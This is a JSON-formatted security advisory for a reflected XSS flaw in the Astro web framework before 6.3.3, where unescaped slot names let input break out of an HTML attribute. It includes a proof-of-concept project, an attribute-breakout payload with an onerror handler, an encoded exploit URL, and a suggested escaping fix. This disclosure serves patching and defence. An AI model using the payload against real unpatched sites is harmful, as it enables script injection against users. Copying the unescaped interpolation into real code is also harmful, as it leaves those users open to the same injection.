{"id":"CVE-2026-50146","aliases":["GHSA-8hv8-536x-4wqp"],"title":"Astro: Reflected XSS via unescaped slot name","summary":"Astro: Reflected XSS via unescaped slot name","severity":"high","cvss":7.1,"cwe":["CWE-79","CWE-80"],"vendor":"astro","product":"astro","ecosystem":"npm","affected":["astro < 6.3.3"],"patched":["astro 6.3.3"],"published":"2026-06-16","updated":"2026-06-16","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8hv8-536x-4wqp","references":[{"url":"https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp"},{"url":"https://github.com/advisories/GHSA-8hv8-536x-4wqp"}],"tags":["ghsa","npm"],"epss":0.00268,"epssPercentile":0.1923,"ingestedAt":"2026-07-07T15:41:58.375Z","slug":"CVE-2026-50146","body":"## Overview\n\n## Summary\n\nWhen a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.\n\nThis is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.\n\n## Vulnerable Code\n\n`packages/astro/src/runtime/server/render/component.ts:371:376`\n\n```ts\n// component.ts:371\n`<template data-astro-template${key !== 'default' ? `=\"${key}\"` : ''}>${children[key]}</template>`\n```\n\nI found that key is interpolated directly into the attribute value without proper escaping.\n\n## Proof of Concept\n\nFor the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.\n\n**`astro.config.mjs`**\n```js\nimport react from '@astrojs/react';\nimport node from '@astrojs/node';\nimport { defineConfig } from 'astro/config';\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n  integrations: [react()],\n});\n```\n\n**`src/pages/index.astro`**\n```astro\n---\nimport Wrapper from '../components/Wrapper.jsx';\nconst slotName = Astro.url.searchParams.get('tab') ?? 'default';\n---\n<html><body>\n  <Wrapper client:load>\n    <div slot={slotName}>content</div>\n  </Wrapper>\n</body></html>\n```\n\n**`src/components/Wrapper.jsx`**\n```jsx\nexport default function Wrapper() { return null; }\n```\n\n**Payload:**\n```\nabc\"></template></astro-island><img src=x onerror=confirm(document.domain)><!--\n```\nAccessing this URL will trigger the popup.\n\nhttp://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--\n\n\n\n<img width=\"1268\" height=\"592\" alt=\"image\" src=\"https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7\" />\n\n\n\nThis will render in html.\n\n```html\n<template data-astro-template=\"abc\"></template></astro-island>\n<img src=x onerror=confirm(document.domain)><!--\">content</template>\n```\n\n## Fix\n\nI suggest leveraging the existing escape function on the slot name.\n\n```ts\n// component.ts:371\n`<template data-astro-template${key !== 'default' ? `=\"${escapeHTML(String(key))}\"` : ''}>${children[key]}</template>`\n```\n\n---\n\n## Affected packages\n\n- `astro < 6.3.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `astro 6.3.3`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}